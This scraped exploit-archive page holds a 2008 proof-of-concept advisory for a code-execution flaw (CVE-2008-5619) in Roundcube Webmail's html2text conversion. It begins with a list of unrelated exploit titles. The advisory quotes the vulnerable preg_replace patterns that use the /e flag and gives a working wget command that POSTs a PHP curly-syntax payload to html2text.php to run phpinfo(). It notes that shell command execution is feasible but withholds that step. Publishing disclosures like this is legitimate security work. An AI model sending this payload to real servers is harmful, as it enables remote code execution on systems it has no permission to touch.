477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
67 lines
2.3 KiB
Text
Executable file
67 lines
2.3 KiB
Text
Executable file
Public Release Date of POC: 2008-12-22
|
|
Author: Jacobo Avariento Gimeno (Sofistic)
|
|
CVE id: CVE-2008-5619
|
|
Bugtraq id: 32799
|
|
Severity: Critical
|
|
Vulnerability reported by: RealMurphy
|
|
|
|
|
|
Intro
|
|
----
|
|
Roundcube Webmail is a browser-based IMAP client that uses
|
|
"chuggnutt.com HTML to Plain Text Conversion" library to convert
|
|
HTML text to plain text, this library uses the preg_replace PHP
|
|
function in an insecure manner.
|
|
|
|
Vulnerable versions:
|
|
Round Cube RoundCube Webmail 0.2-3 beta
|
|
Round Cube RoundCube Webmail 0.2-1 alpha (tested)
|
|
|
|
|
|
Analysis of the vulnerable code
|
|
----
|
|
The script bin/html2text.php creates an instance of the class html2text
|
|
with the given POST data, the problem arises in the file
|
|
program/lib/html2text.php in function _convert() on line 381:
|
|
|
|
// Run our defined search-and-replace
|
|
$text = preg_replace($this->search, $this->replace, $text);
|
|
|
|
Some patterns in $this->search allow interpret PHP code using the "e"
|
|
flag, i.e.:
|
|
'/<a [^>]*href=("|\')([^"\']+)\1[^>]*>(.+?)<\/a>/ie', // <a href="">
|
|
'/<b[^>]*>(.+?)<\/b>/ie', // <b>
|
|
'/<th[^>]*>(.+?)<\/th>/ie', // <th> and </th>
|
|
|
|
In concrete those would be replaced by:
|
|
'$this->_build_link_list("\\2", "\\3")', // <a href="">
|
|
'strtoupper("\\1")', // <b>
|
|
"strtoupper(\"\t\t\\1\n\")", // <th> and </th>
|
|
|
|
Now using PHP complex (curly) syntax we can take advantage of this to
|
|
interpret arbitrary PHP code, evaluating PHP code embedded inside
|
|
strings.
|
|
|
|
|
|
Proof of Concept
|
|
----
|
|
As this vulnerability was discovered in-the-wild:
|
|
http://trac.roundcube.net/ticket/1485618 was quite sure that would be
|
|
exploitable, using PHP curly we can execute phpinfo():
|
|
|
|
wget -q --header="Content-Type: ''" \
|
|
-O - --post-data='<b>{${phpinfo()}}</b>' \
|
|
--no-check-certificate \
|
|
http://127.0.0.1/roundcubemail-0.2-alpha/bin/html2text.php
|
|
|
|
Using PHP curly syntax plus some tricks to bypass PHP magic_quotes_gpc
|
|
to avoid using single or double quotes the arbitrary shell command
|
|
execution is fully feasible. As this vulnerability was discovered last
|
|
week no more details will be published yet, more info will be available
|
|
at http://sofistic.net.
|
|
|
|
|
|
|
|
-- Jacobo Avariento Gimeno IT Security Department @ Sofistic Your security, our concern! http://sofistic.net
|
|
|
|
# milw0rm.com [2008-12-22]
|